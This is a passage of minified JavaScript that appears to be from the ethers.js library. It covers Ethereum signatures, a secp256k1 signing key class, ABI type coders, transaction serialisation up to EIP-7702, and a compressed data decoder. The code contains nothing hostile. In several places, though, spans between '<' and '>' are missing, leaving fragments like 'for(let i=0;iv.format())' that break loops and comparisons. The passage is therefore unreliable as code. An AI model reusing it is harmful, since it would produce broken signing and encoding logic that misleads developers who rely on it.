v=getBigInt(_v);return{networkV:v>=BN_35$1?v:undefined,v:Signature.getNormalizedV(v)}}if(yParityAndS!=null){assertError(isHexString(yParityAndS,32),"invalid yParityAndS");return{v:getBytes(yParityAndS)[0]&128?28:27}}if(yParity!=null){switch(getNumber(yParity,"sig.yParity")){case 0:return{v:27};case 1:return{v:28}}assertError(false,"invalid yParity")}assertError(false,"missing v")}(sig.v,sig.yParityAndS,sig.yParity);const result=new Signature(_guard$3,r,s,v);if(networkV){result.#networkV=networkV}assertError(sig.yParity==null||getNumber(sig.yParity,"sig.yParity")===result.yParity,"yParity mismatch");assertError(sig.yParityAndS==null||sig.yParityAndS===result.yParityAndS,"yParityAndS mismatch");return result}}class SigningKey{#privateKey;constructor(privateKey){assertArgument(dataLength(privateKey)===32,"invalid private key","privateKey","[REDACTED]");this.#privateKey=hexlify(privateKey)}get privateKey(){return this.#privateKey}get publicKey(){return SigningKey.computePublicKey(this.#privateKey)}get compressedPublicKey(){return SigningKey.computePublicKey(this.#privateKey,true)}sign(digest){assertArgument(dataLength(digest)===32,"invalid digest length","digest",digest);const sig=secp256k1.sign(getBytesCopy(digest),getBytesCopy(this.#privateKey),{lowS:true});return Signature.from({r:toBeHex(sig.r,32),s:toBeHex(sig.s,32),v:sig.recovery?28:27})}computeSharedSecret(other){const pubKey=SigningKey.computePublicKey(other);return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey),getBytes(pubKey),false))}static computePublicKey(key,compressed){let bytes=getBytes(key,"key");if(bytes.length===32){const pubKey=secp256k1.getPublicKey(bytes,!!compressed);return hexlify(pubKey)}if(bytes.length===64){const pub=new Uint8Array(65);pub[0]=4;pub.set(bytes,1);bytes=pub}const point=secp256k1.ProjectivePoint.fromHex(bytes);return hexlify(point.toRawBytes(compressed))}static recoverPublicKey(digest,signature){assertArgument(dataLength(digest)===32,"invalid digest length","digest",digest);const sig=Signature.from(signature);let secpSig=secp256k1.Signature.fromCompact(getBytesCopy(concat([sig.r,sig.s])));secpSig=secpSig.addRecoveryBit(sig.yParity);const pubKey=secpSig.recoverPublicKey(getBytesCopy(digest));assertArgument(pubKey!=null,"invalid signature for digest","signature",signature);return"0x"+pubKey.toHex(false)}static addPoints(p0,p1,compressed){const pub0=secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2));const pub1=secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2));return"0x"+pub0.add(pub1).toHex(!!compressed)}}function lock(){computeHmac.lock();keccak256.lock();pbkdf2.lock();randomBytes.lock();ripemd160.lock();scrypt.lock();scryptSync.lock();sha256.lock();sha512.lock();randomBytes.lock()}const BN_0$6=BigInt(0);const BN_36=BigInt(36);function getChecksumAddress(address){address=address.toLowerCase();const chars=address.substring(2).split("");const expanded=new Uint8Array(40);for(let i=0;i<40;i++){expanded[i]=chars[i].charCodeAt(0)}const hashed=getBytes(keccak256(expanded));for(let i=0;i<40;i+=2){if(hashed[i>>1]>>4>=8){chars[i]=chars[i].toUpperCase()}if((hashed[i>>1]&15)>=8){chars[i+1]=chars[i+1].toUpperCase()}}return"0x"+chars.join("")}const ibanLookup={};for(let i=0;i<10;i++){ibanLookup[String(i)]=String(i)}for(let i=0;i<26;i++){ibanLookup[String.fromCharCode(65+i)]=String(10+i)}const safeDigits=15;function ibanChecksum(address){address=address.toUpperCase();address=address.substring(4)+address.substring(0,2)+"00";let expanded=address.split("").map(c=>{return ibanLookup[c]}).join("");while(expanded.length>=safeDigits){let block=expanded.substring(0,safeDigits);expanded=parseInt(block,10)%97+expanded.substring(block.length)}let checksum=String(98-parseInt(expanded,10)%97);while(checksum.length<2){checksum="0"+checksum}return checksum}const Base36=function(){const result={};for(let i=0;i<36;i++){const key="0123456789abcdefghijklmnopqrstuvwxyz"[i];result[key]=BigInt(i)}return result}();function fromBase36(value){value=value.toLowerCase();let result=BN_0$6;for(let i=0;iv.format()).join(",")})`}return this.type}defaultValue(){return 0}minValue(){return 0}maxValue(){return 0}isBigInt(){return!!this.type.match(/^u?int[0-9]+$/)}isData(){return this.type.startsWith("bytes")}isString(){return this.type==="string"}get tupleName(){if(this.type!=="tuple"){throw TypeError("not a tuple")}return this.#options}get arrayLength(){if(this.type!=="array"){throw TypeError("not an array")}if(this.#options===true){return-1}if(this.#options===false){return this.value.length}return null}static from(type,value){return new Typed(_gaurd,type,value)}static uint8(v){return n(v,8)}static uint16(v){return n(v,16)}static uint24(v){return n(v,24)}static uint32(v){return n(v,32)}static uint40(v){return n(v,40)}static uint48(v){return n(v,48)}static uint56(v){return n(v,56)}static uint64(v){return n(v,64)}static uint72(v){return n(v,72)}static uint80(v){return n(v,80)}static uint88(v){return n(v,88)}static uint96(v){return n(v,96)}static uint104(v){return n(v,104)}static uint112(v){return n(v,112)}static uint120(v){return n(v,120)}static uint128(v){return n(v,128)}static uint136(v){return n(v,136)}static uint144(v){return n(v,144)}static uint152(v){return n(v,152)}static uint160(v){return n(v,160)}static uint168(v){return n(v,168)}static uint176(v){return n(v,176)}static uint184(v){return n(v,184)}static uint192(v){return n(v,192)}static uint200(v){return n(v,200)}static uint208(v){return n(v,208)}static uint216(v){return n(v,216)}static uint224(v){return n(v,224)}static uint232(v){return n(v,232)}static uint240(v){return n(v,240)}static uint248(v){return n(v,248)}static uint256(v){return n(v,256)}static uint(v){return n(v,256)}static int8(v){return n(v,-8)}static int16(v){return n(v,-16)}static int24(v){return n(v,-24)}static int32(v){return n(v,-32)}static int40(v){return n(v,-40)}static int48(v){return n(v,-48)}static int56(v){return n(v,-56)}static int64(v){return n(v,-64)}static int72(v){return n(v,-72)}static int80(v){return n(v,-80)}static int88(v){return n(v,-88)}static int96(v){return n(v,-96)}static int104(v){return n(v,-104)}static int112(v){return n(v,-112)}static int120(v){return n(v,-120)}static int128(v){return n(v,-128)}static int136(v){return n(v,-136)}static int144(v){return n(v,-144)}static int152(v){return n(v,-152)}static int160(v){return n(v,-160)}static int168(v){return n(v,-168)}static int176(v){return n(v,-176)}static int184(v){return n(v,-184)}static int192(v){return n(v,-192)}static int200(v){return n(v,-200)}static int208(v){return n(v,-208)}static int216(v){return n(v,-216)}static int224(v){return n(v,-224)}static int232(v){return n(v,-232)}static int240(v){return n(v,-240)}static int248(v){return n(v,-248)}static int256(v){return n(v,-256)}static int(v){return n(v,-256)}static bytes1(v){return b(v,1)}static bytes2(v){return b(v,2)}static bytes3(v){return b(v,3)}static bytes4(v){return b(v,4)}static bytes5(v){return b(v,5)}static bytes6(v){return b(v,6)}static bytes7(v){return b(v,7)}static bytes8(v){return b(v,8)}static bytes9(v){return b(v,9)}static bytes10(v){return b(v,10)}static bytes11(v){return b(v,11)}static bytes12(v){return b(v,12)}static bytes13(v){return b(v,13)}static bytes14(v){return b(v,14)}static bytes15(v){return b(v,15)}static bytes16(v){return b(v,16)}static bytes17(v){return b(v,17)}static bytes18(v){return b(v,18)}static bytes19(v){return b(v,19)}static bytes20(v){return b(v,20)}static bytes21(v){return b(v,21)}static bytes22(v){return b(v,22)}static bytes23(v){return b(v,23)}static bytes24(v){return b(v,24)}static bytes25(v){return b(v,25)}static bytes26(v){return b(v,26)}static bytes27(v){return b(v,27)}static bytes28(v){return b(v,28)}static bytes29(v){return b(v,29)}static bytes30(v){return b(v,30)}static bytes31(v){return b(v,31)}static bytes32(v){return b(v,32)}static address(v){return new Typed(_gaurd,"address",v)}static bool(v){return new Typed(_gaurd,"bool",!!v)}static bytes(v){return new Typed(_gaurd,"bytes",v)}static string(v){return new Typed(_gaurd,"string",v)}static array(v,dynamic){throw new Error("not implemented yet")}static tuple(v,name){throw new Error("not implemented yet")}static overrides(v){return new Typed(_gaurd,"overrides",Object.assign({},v))}static isTyped(value){return value&&typeof value==="object"&&"_typedSymbol"in value&&value._typedSymbol===_typedSymbol}static dereference(value,type){if(Typed.isTyped(value)){if(value.type!==type){throw new Error(`invalid type: expecetd ${type}, got ${value.type}`)}return value.value}return value}}class AddressCoder extends Coder{constructor(localName){super("address","address",localName,false)}defaultValue(){return"0x0000000000000000000000000000000000000000"}encode(writer,_value){let value=Typed.dereference(_value,"string");try{value=getAddress(value)}catch(error){return this._throwError(error.message,_value)}return writer.writeValue(value)}decode(reader){return getAddress(toBeHex(reader.readValue(),20))}}class AnonymousCoder extends Coder{coder;constructor(coder){super(coder.name,coder.type,"_",coder.dynamic);this.coder=coder}defaultValue(){return this.coder.defaultValue()}encode(writer,value){return this.coder.encode(writer,value)}decode(reader){return this.coder.decode(reader)}}function pack(writer,coders,values){let arrayValues=[];if(Array.isArray(values)){arrayValues=values}else if(values&&typeof values==="object"){let unique={};arrayValues=coders.map(coder=>{const name=coder.localName;assert(name,"cannot encode object for signature with missing names","INVALID_ARGUMENT",{argument:"values",info:{coder:coder},value:values});assert(!unique[name],"cannot encode object for signature with duplicate names","INVALID_ARGUMENT",{argument:"values",info:{coder:coder},value:values});unique[name]=true;return values[name]})}else{assertArgument(false,"invalid tuple value","tuple",values)}assertArgument(coders.length===arrayValues.length,"types/value length mismatch","tuple",values);let staticWriter=new Writer;let dynamicWriter=new Writer;let updateFuncs=[];coders.forEach((coder,index)=>{let value=arrayValues[index];if(coder.dynamic){let dynamicOffset=dynamicWriter.length;coder.encode(dynamicWriter,value);let updateFunc=staticWriter.writeUpdatableValue();updateFuncs.push(baseOffset=>{updateFunc(baseOffset+dynamicOffset)})}else{coder.encode(staticWriter,value)}});updateFuncs.forEach(func=>{func(staticWriter.length)});let length=writer.appendWriter(staticWriter);length+=writer.appendWriter(dynamicWriter);return length}function unpack(reader,coders){let values=[];let keys=[];let baseReader=reader.subReader(0);coders.forEach(coder=>{let value=null;if(coder.dynamic){let offset=reader.readIndex();let offsetReader=baseReader.subReader(offset);try{value=coder.decode(offsetReader)}catch(error){if(isError(error,"BUFFER_OVERRUN")){throw error}value=error;value.baseType=coder.name;value.name=coder.localName;value.type=coder.type}}else{try{value=coder.decode(reader)}catch(error){if(isError(error,"BUFFER_OVERRUN")){throw error}value=error;value.baseType=coder.name;value.name=coder.localName;value.type=coder.type}}if(value==undefined){throw new Error("investigate")}values.push(value);keys.push(coder.localName||null)});return Result.fromItems(values,keys)}class ArrayCoder extends Coder{coder;length;constructor(coder,length,localName){const type=coder.type+"["+(length>=0?length:"")+"]";const dynamic=length===-1||coder.dynamic;super("array",type,localName,dynamic);defineProperties(this,{coder:coder,length:length})}defaultValue(){const defaultChild=this.coder.defaultValue();const result=[];for(let i=0;ibounds||value<-(bounds+BN_1$2)){this._throwError("value out-of-bounds",_value)}value=toTwos(value,8*WordSize)}else if(valuemask(maxUintValue,this.size*8)){this._throwError("value out-of-bounds",_value)}return writer.writeValue(value)}decode(reader){let value=mask(reader.readValue(),this.size*8);if(this.signed){value=fromTwos(value,this.size*8)}return value}}class StringCoder extends DynamicBytesCoder{constructor(localName){super("string",localName)}defaultValue(){return""}encode(writer,_value){return super.encode(writer,toUtf8Bytes(Typed.dereference(_value,"string")))}decode(reader){return toUtf8String(super.decode(reader))}}class TupleCoder extends Coder{coders;constructor(coders,localName){let dynamic=false;const types=[];coders.forEach(coder=>{if(coder.dynamic){dynamic=true}types.push(coder.type)});const type="tuple("+types.join(",")+")";super("tuple",type,localName,dynamic);defineProperties(this,{coders:Object.freeze(coders.slice())})}defaultValue(){const values=[];this.coders.forEach(coder=>{values.push(coder.defaultValue())});const uniqueNames=this.coders.reduce((accum,coder)=>{const name=coder.localName;if(name){if(!accum[name]){accum[name]=0}accum[name]++}return accum},{});this.coders.forEach((coder,index)=>{let name=coder.localName;if(!name||uniqueNames[name]!==1){return}if(name==="length"){name="_length"}if(values[name]!=null){return}values[name]=values[index]});return Object.freeze(values)}encode(writer,_value){const value=Typed.dereference(_value,"tuple");return pack(writer,this.coders,value)}decode(reader){return unpack(reader,this.coders)}}function accessSetify(addr,storageKeys){return{address:getAddress(addr),storageKeys:storageKeys.map((storageKey,index)=>{assertArgument(isHexString(storageKey,32),"invalid slot",`storageKeys[${index}]`,storageKey);return storageKey.toLowerCase()})}}function accessListify(value){if(Array.isArray(value)){return value.map((set,index)=>{if(Array.isArray(set)){assertArgument(set.length===2,"invalid slot set",`value[${index}]`,set);return accessSetify(set[0],set[1])}assertArgument(set!=null&&typeof set==="object","invalid address-slot set","value",value);return accessSetify(set.address,set.storageKeys)})}assertArgument(value!=null&&typeof value==="object","invalid access list","value",value);const result=Object.keys(value).map(addr=>{const storageKeys=value[addr].reduce((accum,storageKey)=>{accum[storageKey]=true;return accum},{});return accessSetify(addr,Object.keys(storageKeys).sort())});result.sort((a,b)=>a.address.localeCompare(b.address));return result}function authorizationify(auth){return{address:getAddress(auth.address),nonce:getBigInt(auth.nonce!=null?auth.nonce:0),chainId:getBigInt(auth.chainId!=null?auth.chainId:0),signature:Signature.from(auth.signature)}}function computeAddress(key){let pubkey;if(typeof key==="string"){pubkey=SigningKey.computePublicKey(key,false)}else{pubkey=key.publicKey}return getAddress(keccak256("0x"+pubkey.substring(4)).substring(26))}function recoverAddress(digest,signature){return computeAddress(SigningKey.recoverPublicKey(digest,signature))}const BN_0$4=BigInt(0);const BN_2$2=BigInt(2);const BN_27=BigInt(27);const BN_28=BigInt(28);const BN_35=BigInt(35);const BN_MAX_UINT=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");const BLOB_SIZE=4096*32;function getKzgLibrary(kzg){const blobToKzgCommitment=blob=>{if("computeBlobProof"in kzg){if("blobToKzgCommitment"in kzg&&typeof kzg.blobToKzgCommitment==="function"){return getBytes(kzg.blobToKzgCommitment(hexlify(blob)))}}else if("blobToKzgCommitment"in kzg&&typeof kzg.blobToKzgCommitment==="function"){return getBytes(kzg.blobToKzgCommitment(blob))}if("blobToKZGCommitment"in kzg&&typeof kzg.blobToKZGCommitment==="function"){return getBytes(kzg.blobToKZGCommitment(hexlify(blob)))}assertArgument(false,"unsupported KZG library","kzg",kzg)};const computeBlobKzgProof=(blob,commitment)=>{if("computeBlobProof"in kzg&&typeof kzg.computeBlobProof==="function"){return getBytes(kzg.computeBlobProof(hexlify(blob),hexlify(commitment)))}if("computeBlobKzgProof"in kzg&&typeof kzg.computeBlobKzgProof==="function"){return kzg.computeBlobKzgProof(blob,commitment)}if("computeBlobKZGProof"in kzg&&typeof kzg.computeBlobKZGProof==="function"){return getBytes(kzg.computeBlobKZGProof(hexlify(blob),hexlify(commitment)))}assertArgument(false,"unsupported KZG library","kzg",kzg)};return{blobToKzgCommitment:blobToKzgCommitment,computeBlobKzgProof:computeBlobKzgProof}}function getVersionedHash(version,hash){let versioned=version.toString(16);while(versioned.length<2){versioned="0"+versioned}versioned+=sha256(hash).substring(4);return"0x"+versioned}function handleAddress(value){if(value==="0x"){return null}return getAddress(value)}function handleAccessList(value,param){try{return accessListify(value)}catch(error){assertArgument(false,error.message,param,value)}}function handleAuthorizationList(value,param){try{if(!Array.isArray(value)){throw new Error("authorizationList: invalid array")}const result=[];for(let i=0;i[set.address,set.storageKeys])}function formatAuthorizationList(value){return value.map(a=>{return[formatNumber(a.chainId,"chainId"),a.address,formatNumber(a.nonce,"nonce"),formatNumber(a.signature.yParity,"yParity"),toBeArray(a.signature.r),toBeArray(a.signature.s)]})}function formatHashes(value,param){assertArgument(Array.isArray(value),`invalid ${param}`,"value",value);for(let i=0;ib.data),blobs.map(b=>b.commitment),blobs.map(b=>b.proof)])])}}return concat(["0x03",encodeRlp(fields)])}function _parseEip7702(data){const fields=decodeRlp(getBytes(data).slice(1));assertArgument(Array.isArray(fields)&&(fields.length===10||fields.length===13),"invalid field count for transaction type: 4","data",hexlify(data));const tx={type:4,chainId:handleUint(fields[0],"chainId"),nonce:handleNumber(fields[1],"nonce"),maxPriorityFeePerGas:handleUint(fields[2],"maxPriorityFeePerGas"),maxFeePerGas:handleUint(fields[3],"maxFeePerGas"),gasPrice:null,gasLimit:handleUint(fields[4],"gasLimit"),to:handleAddress(fields[5]),value:handleUint(fields[6],"value"),data:hexlify(fields[7]),accessList:handleAccessList(fields[8],"accessList"),authorizationList:handleAuthorizationList(fields[9],"authorizationList")};if(fields.length===10){return tx}_parseEipSignature(tx,fields.slice(10));return tx}function _serializeEip7702(tx,sig){const fields=[formatNumber(tx.chainId,"chainId"),formatNumber(tx.nonce,"nonce"),formatNumber(tx.maxPriorityFeePerGas||0,"maxPriorityFeePerGas"),formatNumber(tx.maxFeePerGas||0,"maxFeePerGas"),formatNumber(tx.gasLimit,"gasLimit"),tx.to||"0x",formatNumber(tx.value,"value"),tx.data,formatAccessList(tx.accessList||[]),formatAuthorizationList(tx.authorizationList||[])];if(sig){fields.push(formatNumber(sig.yParity,"yParity"));fields.push(toBeArray(sig.r));fields.push(toBeArray(sig.s))}return concat(["0x04",encodeRlp(fields)])}class Transaction{#type;#to;#data;#nonce;#gasLimit;#gasPrice;#maxPriorityFeePerGas;#maxFeePerGas;#value;#chainId;#sig;#accessList;#maxFeePerBlobGas;#blobVersionedHashes;#kzg;#blobs;#auths;get type(){return this.#type}set type(value){switch(value){case null:this.#type=null;break;case 0:case"legacy":this.#type=0;break;case 1:case"berlin":case"eip-2930":this.#type=1;break;case 2:case"london":case"eip-1559":this.#type=2;break;case 3:case"cancun":case"eip-4844":this.#type=3;break;case 4:case"pectra":case"eip-7702":this.#type=4;break;default:assertArgument(false,"unsupported transaction type","type",value)}}get typeName(){switch(this.type){case 0:return"legacy";case 1:return"eip-2930";case 2:return"eip-1559";case 3:return"eip-4844";case 4:return"eip-7702"}return null}get to(){const value=this.#to;if(value==null&&this.type===3){return ZeroAddress}return value}set to(value){this.#to=value==null?null:getAddress(value)}get nonce(){return this.#nonce}set nonce(value){this.#nonce=getNumber(value,"value")}get gasLimit(){return this.#gasLimit}set gasLimit(value){this.#gasLimit=getBigInt(value)}get gasPrice(){const value=this.#gasPrice;if(value==null&&(this.type===0||this.type===1)){return BN_0$4}return value}set gasPrice(value){this.#gasPrice=value==null?null:getBigInt(value,"gasPrice")}get maxPriorityFeePerGas(){const value=this.#maxPriorityFeePerGas;if(value==null){if(this.type===2||this.type===3){return BN_0$4}return null}return value}set maxPriorityFeePerGas(value){this.#maxPriorityFeePerGas=value==null?null:getBigInt(value,"maxPriorityFeePerGas")}get maxFeePerGas(){const value=this.#maxFeePerGas;if(value==null){if(this.type===2||this.type===3){return BN_0$4}return null}return value}set maxFeePerGas(value){this.#maxFeePerGas=value==null?null:getBigInt(value,"maxFeePerGas")}get data(){return this.#data}set data(value){this.#data=hexlify(value)}get value(){return this.#value}set value(value){this.#value=getBigInt(value,"value")}get chainId(){return this.#chainId}set chainId(value){this.#chainId=getBigInt(value)}get signature(){return this.#sig||null}set signature(value){this.#sig=value==null?null:Signature.from(value)}get accessList(){const value=this.#accessList||null;if(value==null){if(this.type===1||this.type===2||this.type===3){return[]}return null}return value}set accessList(value){this.#accessList=value==null?null:accessListify(value)}get authorizationList(){const value=this.#auths||null;if(value==null){if(this.type===4){return[]}}return value}set authorizationList(auths){this.#auths=auths==null?null:auths.map(a=>authorizationify(a))}get maxFeePerBlobGas(){const value=this.#maxFeePerBlobGas;if(value==null&&this.type===3){return BN_0$4}return value}set maxFeePerBlobGas(value){this.#maxFeePerBlobGas=value==null?null:getBigInt(value,"maxFeePerBlobGas")}get blobVersionedHashes(){let value=this.#blobVersionedHashes;if(value==null&&this.type===3){return[]}return value}set blobVersionedHashes(value){if(value!=null){assertArgument(Array.isArray(value),"blobVersionedHashes must be an Array","value",value);value=value.slice();for(let i=0;iObject.assign({},b))}set blobs(_blobs){if(_blobs==null){this.#blobs=null;return}const blobs=[];const versionedHashes=[];for(let i=0;i<_blobs.length;i++){const blob=_blobs[i];if(isBytesLike(blob)){assert(this.#kzg,"adding a raw blob requires a KZG library","UNSUPPORTED_OPERATION",{operation:"set blobs()"});let data=getBytes(blob);assertArgument(data.length<=BLOB_SIZE,"blob is too large",`blobs[${i}]`,blob);if(data.length!==BLOB_SIZE){const padded=new Uint8Array(BLOB_SIZE);padded.set(data);data=padded}const commit=this.#kzg.blobToKzgCommitment(data);const proof=hexlify(this.#kzg.computeBlobKzgProof(data,commit));blobs.push({data:hexlify(data),commitment:hexlify(commit),proof:proof});versionedHashes.push(getVersionedHash(1,commit))}else{const commit=hexlify(blob.commitment);blobs.push({data:hexlify(blob.data),commitment:commit,proof:hexlify(blob.proof)});versionedHashes.push(getVersionedHash(1,commit))}}this.#blobs=blobs;this.#blobVersionedHashes=versionedHashes}get kzg(){return this.#kzg}set kzg(kzg){if(kzg==null){this.#kzg=null}else{this.#kzg=getKzgLibrary(kzg)}}constructor(){this.#type=null;this.#to=null;this.#nonce=0;this.#gasLimit=BN_0$4;this.#gasPrice=null;this.#maxPriorityFeePerGas=null;this.#maxFeePerGas=null;this.#data="0x";this.#value=BN_0$4;this.#chainId=BN_0$4;this.#sig=null;this.#accessList=null;this.#maxFeePerBlobGas=null;this.#blobVersionedHashes=null;this.#kzg=null;this.#blobs=null;this.#auths=null}get hash(){if(this.signature==null){return null}return keccak256(this.#getSerialized(true,false))}get unsignedHash(){return keccak256(this.unsignedSerialized)}get from(){if(this.signature==null){return null}return recoverAddress(this.unsignedHash,this.signature)}get fromPublicKey(){if(this.signature==null){return null}return SigningKey.recoverPublicKey(this.unsignedHash,this.signature)}isSigned(){return this.signature!=null}#getSerialized(signed,sidecar){assert(!signed||this.signature!=null,"cannot serialize unsigned transaction; maybe you meant .unsignedSerialized","UNSUPPORTED_OPERATION",{operation:".serialized"});const sig=signed?this.signature:null;switch(this.inferType()){case 0:return _serializeLegacy(this,sig);case 1:return _serializeEip2930(this,sig);case 2:return _serializeEip1559(this,sig);case 3:return _serializeEip4844(this,sig,sidecar?this.blobs:null);case 4:return _serializeEip7702(this,sig)}assert(false,"unsupported transaction type","UNSUPPORTED_OPERATION",{operation:".serialized"})}get serialized(){return this.#getSerialized(true,true)}get unsignedSerialized(){return this.#getSerialized(false,false)}inferType(){const types=this.inferTypes();if(types.indexOf(2)>=0){return 2}return types.pop()}inferTypes(){const hasGasPrice=this.gasPrice!=null;const hasFee=this.maxFeePerGas!=null||this.maxPriorityFeePerGas!=null;const hasAccessList=this.accessList!=null;const hasBlob=this.#maxFeePerBlobGas!=null||this.#blobVersionedHashes;if(this.maxFeePerGas!=null&&this.maxPriorityFeePerGas!=null){assert(this.maxFeePerGas>=this.maxPriorityFeePerGas,"priorityFee cannot be more than maxFee","BAD_DATA",{value:this})}assert(!hasFee||this.type!==0&&this.type!==1,"transaction type cannot have maxFeePerGas or maxPriorityFeePerGas","BAD_DATA",{value:this});assert(this.type!==0||!hasAccessList,"legacy transaction cannot have accessList","BAD_DATA",{value:this});const types=[];if(this.type!=null){types.push(this.type)}else{if(this.authorizationList&&this.authorizationList.length){types.push(4)}else if(hasFee){types.push(2)}else if(hasGasPrice){types.push(1);if(!hasAccessList){types.push(0)}}else if(hasAccessList){types.push(1);types.push(2)}else if(hasBlob&&this.to){types.push(3)}else{types.push(0);types.push(1);types.push(2);types.push(3)}}types.sort();return types}isLegacy(){return this.type===0}isBerlin(){return this.type===1}isLondon(){return this.type===2}isCancun(){return this.type===3}clone(){return Transaction.from(this)}toJSON(){const s=v=>{if(v==null){return null}return v.toString()};return{type:this.type,to:this.to,data:this.data,nonce:this.nonce,gasLimit:s(this.gasLimit),gasPrice:s(this.gasPrice),maxPriorityFeePerGas:s(this.maxPriorityFeePerGas),maxFeePerGas:s(this.maxFeePerGas),value:s(this.value),chainId:s(this.chainId),sig:this.signature?this.signature.toJSON():null,accessList:this.accessList}}static from(tx){if(tx==null){return new Transaction}if(typeof tx==="string"){const payload=getBytes(tx);if(payload[0]>=127){return Transaction.from(_parseLegacy(payload))}switch(payload[0]){case 1:return Transaction.from(_parseEip2930(payload));case 2:return Transaction.from(_parseEip1559(payload));case 3:return Transaction.from(_parseEip4844(payload));case 4:return Transaction.from(_parseEip7702(payload))}assert(false,"unsupported transaction type","UNSUPPORTED_OPERATION",{operation:"from"})}const result=new Transaction;if(tx.type!=null){result.type=tx.type}if(tx.to!=null){result.to=tx.to}if(tx.nonce!=null){result.nonce=tx.nonce}if(tx.gasLimit!=null){result.gasLimit=tx.gasLimit}if(tx.gasPrice!=null){result.gasPrice=tx.gasPrice}if(tx.maxPriorityFeePerGas!=null){result.maxPriorityFeePerGas=tx.maxPriorityFeePerGas}if(tx.maxFeePerGas!=null){result.maxFeePerGas=tx.maxFeePerGas}if(tx.maxFeePerBlobGas!=null){result.maxFeePerBlobGas=tx.maxFeePerBlobGas}if(tx.data!=null){result.data=tx.data}if(tx.value!=null){result.value=tx.value}if(tx.chainId!=null){result.chainId=tx.chainId}if(tx.signature!=null){result.signature=Signature.from(tx.signature)}if(tx.accessList!=null){result.accessList=tx.accessList}if(tx.authorizationList!=null){result.authorizationList=tx.authorizationList}if(tx.blobVersionedHashes!=null){result.blobVersionedHashes=tx.blobVersionedHashes}if(tx.kzg!=null){result.kzg=tx.kzg}if(tx.blobs!=null){result.blobs=tx.blobs}if(tx.hash!=null){assertArgument(result.isSigned(),"unsigned transaction cannot define '.hash'","tx",tx);assertArgument(result.hash===tx.hash,"hash mismatch","tx",tx)}if(tx.from!=null){assertArgument(result.isSigned(),"unsigned transaction cannot define '.from'","tx",tx);assertArgument(result.from.toLowerCase()===(tx.from||"").toLowerCase(),"from mismatch","tx",tx)}return result}}function hashAuthorization(auth){assertArgument(typeof auth.address==="string","invalid address for hashAuthorization","auth.address",auth);return keccak256(concat(["0x05",encodeRlp([auth.chainId!=null?toBeArray(auth.chainId):"0x",getAddress(auth.address),auth.nonce!=null?toBeArray(auth.nonce):"0x"])]))}function verifyAuthorization(auth,sig){return recoverAddress(hashAuthorization(auth),sig)}function id(value){return keccak256(toUtf8Bytes(value))}var COMPRESSED$1="AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACk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cJpDQ/N64AVwjT07Jef30GSSmtNu2WlW7YoyW2FlWfZFQUwk867EdLYKk9VG6JgEnBiBxkY7LMo4YLQJJlAo9l/oTvJkSARDF/XtyAzM8O2t3eT/iXa6wDN3WewNmQHdPfsxChU/KtLG2Mn8i4ZqKdSlIaBZadxJmRzVS/o4yA65RTSViq60oa395Lqw0pzY4SipwE0SXXsKV+GZraGSkr/RW08wPRvqvSUkYBMA9lPx4m24az+IHmCbXA+0faxTRE9wuGeO06DIXa6QlKJ3puIyiuAVfPr736vzo2pBirS+Vxel3TMm3JKhz9o2ZoRvaFVpIkykb0Hcm4oHFBMcNSNj7/4GJt43ogonY2Vg4nsDQIWxAcorpXACzgBqQPjYsE/VUpXpwNManEru4NwMCFPkXvMoqvoeLN3qyu/N1eWEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI";const FENCED=new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]);const NSM_MAX=4;function decode_arithmetic(bytes){let pos=0;function u16(){return bytes[pos++]<<8|bytes[pos++]}let symbol_count=u16();let total=1;let acc=[0,1];for(let i=1;i>--read_width&1}const N=31;const FULL=2**N;const HALF=FULL>>>1;const QRTR=HALF>>1;const MASK=FULL-1;let register=0;for(let i=0;i1){let mid=start+end>>>1;if(value>>1|read_bit();a=a<<1^HALF;b=(b^HALF)<<1|HALF|1}low=a;range=1+b-a}let offset=symbol_count-4;return symbols.map(x=>{switch(x-offset){case 3:return offset+65792+(bytes[pos_payload++]<<16|bytes[pos_payload++]<<8|bytes[pos_payload++]);case 2:return offset+256+(bytes[pos_payload++]<<8|bytes[pos_payload++]);case 1:return offset+bytes[pos_payload++];default:return x-1}})}function read_payload(v){let pos=0;return()=>v[pos++]}function read_compressed_payload(s){return read_payload(decode_arithmetic(unsafe_atob(s)))}function unsafe_atob(s){let lookup=[];[..."ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"].forEach((c,i)=>lookup[c.charCodeAt(0)]=i);let n=s.length;let ret=new Uint8Array(6*n>>3);for(let i=0,pos=0,width=0,carry=0;i=8){ret[pos++]=carry>>(width-=8)}}return ret}function signed(i){return i&1?~i>>1:i>>1}function read_deltas(n,next){let v=Array(n);for(let 